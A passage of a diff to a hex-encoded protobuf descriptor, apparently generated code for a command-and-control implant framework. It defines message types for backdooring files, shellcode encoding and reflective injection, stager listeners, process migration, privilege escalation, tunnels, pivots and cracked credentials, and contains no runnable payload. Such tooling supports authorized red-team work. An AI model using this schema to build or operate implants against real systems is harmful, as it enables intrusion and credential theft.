0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, - 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, - 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, - 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, - 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, - 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, - 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, - 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, + 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, + 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, + 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, + 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, + 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, + 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, + 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, + 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, + 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, + 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, + 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, + 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xe3, 0x01, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, + 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, + 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08, + 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, + 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, + 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a, + 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2f, 0x0a, + 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, + 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x94, + 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, + 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, + 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, - 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, - 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, - 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, - 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, - 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, - 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, - 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, - 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, - 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, - 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, - 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, - 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, - 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, - 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, - 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, - 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, - 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, - 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, - 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, - 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, - 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, - 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, - 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, - 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, - 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, - 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, - 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, - 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, - 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xb2, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, + 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x2b, 0x0a, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, + 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, 0x73, + 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, + 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, + 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, 0x6f, + 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x50, + 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 